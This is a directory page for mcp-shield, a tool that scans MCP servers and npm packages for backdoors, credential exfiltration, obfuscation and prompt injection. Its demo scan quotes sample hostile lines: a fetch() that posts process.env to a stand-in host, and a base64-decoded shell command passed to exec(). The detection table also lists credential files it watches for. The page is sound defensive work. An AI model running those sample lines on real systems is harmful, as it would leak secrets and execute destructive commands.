Which integrations are available for this server?

Allows scanning of MCP server code cloned from GitHub repositories, performing static analysis on JavaScript/TypeScript files to detect security vulnerabilities and malicious patterns. Enables scanning and auditing of npm packages containing MCP servers, analyzing source code for security risks and evaluating supply chain trustworthiness through package metadata and dependency analysis.

de en es ja ko ru zh

mcp-shield

by muhannad-hash

Overview Schema Source Related Servers Discussions Admin

TypeScript

Remote

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

What it detects

Category	Examples
Exfiltration	`process.env` sent over network, SSH key access, AWS credential reads
Code execution	`eval()`, `new Function()`, `child_process.exec()`, dynamic `require()`
Obfuscation	Base64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access	`.env`, `id_rsa`, browser cookies, `~/.gitconfig`
Prompt injection	Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chain	Package age, download count, maintainer count, CVEs in dependencies

Related MCP server: mcpwatch

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Tools

Tool	What it does
`scan_package`	Download an npm MCP package and scan it for malicious patterns
`scan_directory`	Scan a local MCP server directory (cloned from GitHub, etc.)
`check_prompt_injection`	Check tool descriptions or responses for hidden injections
`audit_supply_chain`	Get trust score, CVEs, maintainer count, and age for any npm package

Installation

Option 1 — npx (no install)

claude mcp add mcp-shield -- npx mcp-shield

Option 2 — global install

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Usage examples

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

License

MIT

Available Tools

4 tools

audit_supply_chainB

Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.

Inputs: package_name (required), version.

check_prompt_injectionA

Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.

Inputs: text (required), label.

scan_directoryA

Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.

Inputs: path (required).

scan_packageA

Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.

Inputs: package_name (required), version.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

Deploy Server

Claude Code, inside the Godot 4 editorFlockbay puts an AI agent in the real Godot 4 editor: it writes GDScript, runs your game and fixes what breaks. Free, or bring your own Claude Code or Codex.flockbay.comAd

TDQS

A4/5.0

Scored 2026-04-13 12:35 across 4 tools

Disambiguation5/5

Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.

Naming Consistency5/5

All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.

Tool Count5/5

With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.

Completeness5/5

The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.

Maintenance

ActivityInactive

ResponsivenessNo recent community issues

Resources

Related MCP Connectors

MCPVetter
com.mcpvetter
Audit your MCP servers for poisoned tools and leaked secrets, and check AI-generated code for flaws.
Penetration Testing Code Analysis Testing & QA Tools
1
https://mcpvetter.com/mcp
MCP Fortress
io.github.mcp-fortress
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Security Testing & QA Tools Penetration Testing
2
https://server.smithery.ai/@mcp-fortress/mcp-fortress-server/mcp
mcpcheckB
io.github.joeyough
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
Penetration Testing Security
21
https://mcpcheck.netlify.app/mcp
alalanet — check before your agent installs, connects or paysA
com.alalanet
Check before your agent installs, connects or pays. install_check: before installing an npm or PyPI package, a GitHub repo, a skill, an editor extension or an MCP server, it answers allow / hold / block (known malicious packages from OSV, typosquats of official MCP servers, names that do not exist, install scripts, maintainer changes). check_repo_config: before opening a repository someone sent you, it reads its agent configuration (MCP servers, hooks, editor tasks, instruction files) and runs nothing. check_service and verify_tools: live status of any MCP server or x402 endpoint, real price and payTo vs the catalogue listing, OFAC and stablecoin-freeze screening, tool-set changes, an open Trust Score. find_service finds working services. preflight_payment decides allow / hold / block right before an x402 payment is signed; payment_status prevents paying twice; report_purchase records what a paid call delivered. Verdicts are signed into a public transparency log. Free, no account. Every other tool (evidence packs, agent identities, boards, mail) is at https://alalanet.com/mcp/full; install and MCP-server checks alone are at https://alalanet.com/mcp/guard. Claude Code plugin: alalanet-guard.
Developer Tools Payments & Billing Security
83
https://alalanet.com/mcp

Related MCP Servers

mcp-doctor
Developer Tools Testing & QA Tools Monitoring
realwigu
A
license
A
quality
D
maintenance
Diagnose, secure, and benchmark your MCP servers. Zero-config CLI for Claude Code, Cursor, VS Code, and Windsurf.
Updated 8 months ago (2026-03-14 21:38 UTC)
4
8 npm
3
MIT
mcpwatch
Security Testing & QA Tools Developer Tools
lazymac2x
A
license
Not graded
quality
D
maintenance
MCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.
Updated 6 months ago (2026-05-28 13:12 UTC)
MIT
SilentFail
Monitoring Security Developer Tools
decksaga
A
license
Not graded
quality
C
maintenance
Diagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.
Updated 6 months ago (2026-05-23 20:24 UTC)
1
MIT
mcp-security-guard
Security Developer Tools Penetration Testing
petrovicistefan
A
license
A
quality
B
maintenance
Security for the MCP servers you use: detects tool poisoning, rug pulls, shadowing, secrets and supply-chain risk (OWASP MCP Top 10), with runtime guards and approved-server policy. Runs locally.
Updated 4 days ago (2026-11-09 17:28 UTC)
17
104 npm
MIT

Appeared in Searches

A CLI tool for auditing MCP (Model Context Protocol) configurations or servers

mcp-shield

What it detects

Demo

Tools

Installation

Option 1 — npx (no install)

Option 2 — global install

Option 3 — manual config

Usage examples

How it works

Contributing

License

Available Tools

Tool Schema Changelog

TDQS

Maintenance

Resources

Related MCP Connectors

Related MCP Servers

mcp-doctor

mcpwatch

SilentFail

mcp-security-guard

Appeared in Searches